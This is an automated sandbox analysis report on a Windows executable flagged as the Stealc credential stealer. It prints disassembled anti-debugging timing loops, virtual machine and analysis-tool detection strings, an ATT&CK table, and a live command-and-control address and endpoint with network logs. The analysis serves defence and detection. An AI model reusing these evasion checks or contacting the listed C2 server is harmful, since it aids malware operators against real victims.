Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5990 second address: 12D59BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jno 00007F3FAC81C956h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 jng 00007F3FAC81C986h 0x0000001a push eax 0x0000001b push edx 0x0000001c jc 00007F3FAC81C956h 0x00000022 jmp 00007F3FAC81C95Ch 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D59BE second address: 12D59D6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3FACC550D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F3FACC550E2h 0x00000010 jng 00007F3FACC550D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6033D second address: 4D60343 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60343 second address: 4D603F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3FACC550DCh 0x00000009 or eax, 099DF948h 0x0000000f jmp 00007F3FACC550DBh 0x00000014 popfd 0x00000015 push ecx 0x00000016 pop edi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F3FACC550E0h 0x00000022 sub si, BBA8h 0x00000027 jmp 00007F3FACC550DBh 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F3FACC550E8h 0x00000033 sbb ah, 00000008h 0x00000036 jmp 00007F3FACC550DBh 0x0000003b popfd 0x0000003c popad 0x0000003d push eax 0x0000003e pushad 0x0000003f mov bl, 21h 0x00000041 jmp 00007F3FACC550E0h 0x00000046 popad 0x00000047 xchg eax, ebp 0x00000048 jmp 00007F3FACC550E0h 0x0000004d mov ebp, esp 0x0000004f jmp 00007F3FACC550E0h 0x00000054 pop ebp 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D603F6 second address: 4D603FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D603FA second address: 4D60400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604E0 second address: 4D604FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FAC81C967h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF9E5 second address: 11EFA0C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3FACC550D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3FACC550E9h 0x00000013 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11E0A96 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 103F6CA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11EB65E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1270667 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00DF38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DF4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00DEDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00DEE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00DF4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00DEED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DE16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DEF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00DF3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00DEBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DEDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DE1160 GetSystemInfo,ExitProcess,

0_2_00DE1160

Source: file.exe, file.exe, 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2254739103.0000000000838000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2254739103.0000000000896000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2254739103.0000000000863000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13554
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13551
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13566
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13606
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13571

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DE45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00DE45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00DF9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF9750 mov eax, dword ptr fs:[00000030h]

0_2_00DF9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00DF78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5176, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00DF9600

Source: file.exe, file.exe, 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: $Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00DF7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00DF7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00DF7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00DF7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.de0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2214050807.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2254739103.0000000000838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5176, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.de0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2214050807.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2254739103.0000000000838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5176, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.php-	file.exe, 00000000.00000002.2254739103.0000000000884000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37p	file.exe, 00000000.00000002.2254739103.000000000081E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.2254739103.000000000081E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php?	file.exe, 00000000.00000002.2254739103.0000000000884000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpi	file.exe, 00000000.00000002.2254739103.0000000000884000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532850
Start date and time:	2024-10-14 00:59:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 82
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950182278094455
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'854'976 bytes
MD5:	10f4beb1c5f54bb1d754f56785e14563
SHA1:	c52cb5d5917e28fd1d886ddbe410bb673617e16c
SHA256:	58faf6bf840c606c3c8852692bb7f9ae649fa927707f5546d55e68ba6c4fe8b2
SHA512:	a595988de307c6fe99a42fa547cfc41d4686e33f8fb445687ff54b46460f88d5285c6f35f395239035c1b5d1e3b67ea47a155bc592ae10fe9728cef995510e15
SSDEEP:	49152:cDa54V0hhKguIpT1cekJAiavfVnjbJC0v:cDaK0qgXB1kcfVjbE0
TLSH:	D78533A50FBF242CE2C547799C22CF54297A570AFAEB5028B137CFB615706998B3D4C8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3FACC4E59Ah
cvttps2pi mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F3FACC50595h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sub byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	d7c5746680ebc6e8fbd1bef8f5f9bb95	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a3000	0x200	35ff166fe23df5ddb0dc542c06bd0f99	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
siqapmbg	0x501000	0x19f000	0x19ec00	d5a8b7ff243d17d23958dce2d5ade46e	False	0.9949494235985533	data	7.954494499000927	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dgzgzabs	0x6a0000	0x1000	0x400	312892bae1786b27925d541960b3daed	False	0.7216796875	data	5.789932407526162	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a1000	0x3000	0x2200	74684cbc685068efcdbc1b6219df5bff	False	0.058823529411764705	DOS executable (COM)	0.7316307732517449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-14T01:00:20.306858+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49717	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2024 01:00:19.341166973 CEST	49717	80	192.168.2.6	185.215.113.37
Oct 14, 2024 01:00:19.346110106 CEST	80	49717	185.215.113.37	192.168.2.6
Oct 14, 2024 01:00:19.346203089 CEST	49717	80	192.168.2.6	185.215.113.37
Oct 14, 2024 01:00:19.346755981 CEST	49717	80	192.168.2.6	185.215.113.37
Oct 14, 2024 01:00:19.351608038 CEST	80	49717	185.215.113.37	192.168.2.6
Oct 14, 2024 01:00:20.069622993 CEST	80	49717	185.215.113.37	192.168.2.6
